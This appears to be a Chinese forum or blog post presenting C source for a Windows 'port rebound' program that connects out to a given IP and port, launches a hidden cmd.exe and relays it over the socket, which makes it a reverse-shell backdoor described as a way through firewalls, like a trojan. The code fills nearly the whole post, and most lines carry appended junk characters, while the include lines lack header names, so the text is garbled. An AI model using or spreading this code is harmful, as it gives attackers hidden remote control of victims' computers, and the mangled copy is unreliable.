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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1K&_t  
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/* ============================== }piDg(D  
Rebound port in Windows NT +KcD Y1[  
By wind,2006/7 GS*Mv{JJ  
===============================*/ ,)svSzR  
#include ezz;NH  
#include b'5]o  
O,D/& 0  
#pragma comment(lib,"wsock32.lib") M "W~%   
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void OutputShell(); u*h+ c8|zI  
SOCKET sClient; >du _/*8:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \>7hT;Av=G  
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void main(int argc,char **argv) )8,)&F  
{ vG2&qjY1  
WSADATA stWsaData; :c?}~a~JO(  
int nRet; !kpnBgmU  
SOCKADDR_IN stSaiClient,stSaiServer; U %,K8u|WH  
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if(argc != 3) g!![%*' b  
{ q8=hUD%5C  
printf("Useage:\n\rRebound DestIP DestPort\n"); q@@C|oqEX  
return; P}2waJe  
} [(81-j1v  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H)@f_pfj(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _T^+BUw  
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stSaiClient.sin_family = AF_INET; Cg]Iz< <bE  
stSaiClient.sin_port = htons(0);  MYk%p'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GEd JB=  
^#0k\f>_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P;8D|u^\*  
{ Shag4-*@hi  
printf("Bind Socket Failed!\n"); v:xfGA nP  
return; 0hCrEM!8  
} zZh\e,*  
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stSaiServer.sin_family = AF_INET; +\D?H.P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $LXz Q>w9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {E3329t|'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bdBFDg  
{ 5h!ZoB)n  
printf("Connect Error!"); F Cp\w1+  
return; wJ}9(>id*  
} m Bc2x8g)  
OutputShell(); m|8ljXX  
} L2WH-XP=  
YT@D*\  
void OutputShell() m1\+~*i  
{ Dpf"H  
char szBuff[1024]; lDU@Q(V#}<  
SECURITY_ATTRIBUTES stSecurityAttributes; .$s>b#mO  
OSVERSIONINFO stOsversionInfo; [m+):q^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z{p)rscX  
STARTUPINFO stStartupInfo; F?jFFw im  
char *szShell; 4r+s" |  
PROCESS_INFORMATION stProcessInformation; &X%vp?p  
unsigned long lBytesRead; E4;@P']`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pI]tv@>:f  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e^ ZxU/e  
stSecurityAttributes.lpSecurityDescriptor = 0; >`S $(f  
stSecurityAttributes.bInheritHandle = TRUE; ~L55l2u7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^:Hx.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gq`S`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BJ$\Mb##3@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !7fL'  
stStartupInfo.wShowWindow = SW_HIDE; GyP.;$NHa[  
stStartupInfo.hStdInput = hReadPipe; =,HxtPJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8 mFy9{M  
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GetVersionEx(&stOsversionInfo); tpQ?E<O  
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switch(stOsversionInfo.dwPlatformId) =TcT`](o  
{ m R|;}u;d  
case 1: %j7HIxZh  
szShell = "command.com"; jVxX! V  
break; lq[o2\  
default: ob(S/t  
szShell = "cmd.exe"; lBN1OL[N  
break; f*HEw  
} 4eh~/o&h  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :IB@@5r1  
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send(sClient,szMsg,77,0); 1Bl;.8he.)  
while(1) z<h?WsL  
{ ?mME^?x Mu  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {!]7=K)W9  
if(lBytesRead) -l2aAK1M  
{ ab/^z0GT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t_\;G~O9-M  
send(sClient,szBuff,lBytesRead,0); R{3vPG  
} 6&qT1nF1  
else Z+EN]02|  
{ <GRplkf`  
lBytesRead=recv(sClient,szBuff,1024,0); 8+=-!": ]  
if(lBytesRead<=0) break; X) O9PQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^U@-Dp,k+  
} `= FDNOwp  
} y'#i'0eeL  
'}pe$=  
return; H-ewO8@  
}
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